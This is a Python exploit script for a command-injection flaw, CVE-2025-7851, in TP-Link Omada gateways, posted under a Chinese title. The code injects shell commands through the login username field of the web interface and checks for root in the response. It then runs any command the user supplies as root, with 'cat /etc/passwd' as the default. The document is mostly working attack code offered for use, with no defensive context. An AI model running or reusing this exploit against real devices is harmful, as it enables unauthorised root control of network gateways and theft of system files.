CVE-2025-7851：TP-Link Omada网关远程获取Root Shell漏洞

# CVE-2025-7851 - TP-Link Omada Gateway Root Shell Exploit # Vulnerability: Command Injection leading to Remote Root Shell # CVSS: 9.8 (Critical) import requests import sys import argparse TARGET_URL = "http://{target}/cgi-bin/luci/" CMD_INJECTION_PAYLOAD = ";id;" def exploit(target_ip, port, command): """ Exploit CVE-2025-7851 to obtain root shell on Omada gateway. The vulnerability exists in the web management interface where user-supplied input is not properly sanitized, allowing OS command injection. """ target = f"http://{target_ip}:{port}" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Inject command into vulnerable parameter payload = { "username": f"admin{CMD_INJECTION_PAYLOAD}", "password": "admin" } try: response = requests.post( f"{target}/cgi-bin/luci", data=payload, headers=headers, timeout=10, verify=False ) if "uid=0(root)" in response.text: print(f"[+] Root shell obtained on {target_ip}") print(f"[+] Executing command: {command}") # Execute arbitrary command as root cmd_payload = { "username": f"admin;{command};", "password": "admin" } resp = requests.post( f"{target}/cgi-bin/luci", data=cmd_payload, headers=headers, timeout=10, verify=False ) print(resp.text) else: print(f"[-] Target {target_ip} not vulnerable or patched") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-7851 Exploit") parser.add_argument("target", help="Target IP address") parser.add_argument("--port", default=80, help="Target port") parser.add_argument("--cmd", default="cat /etc/passwd", help="Command to execute") args = parser.parse_args() exploit(args.target, args.port, args.cmd)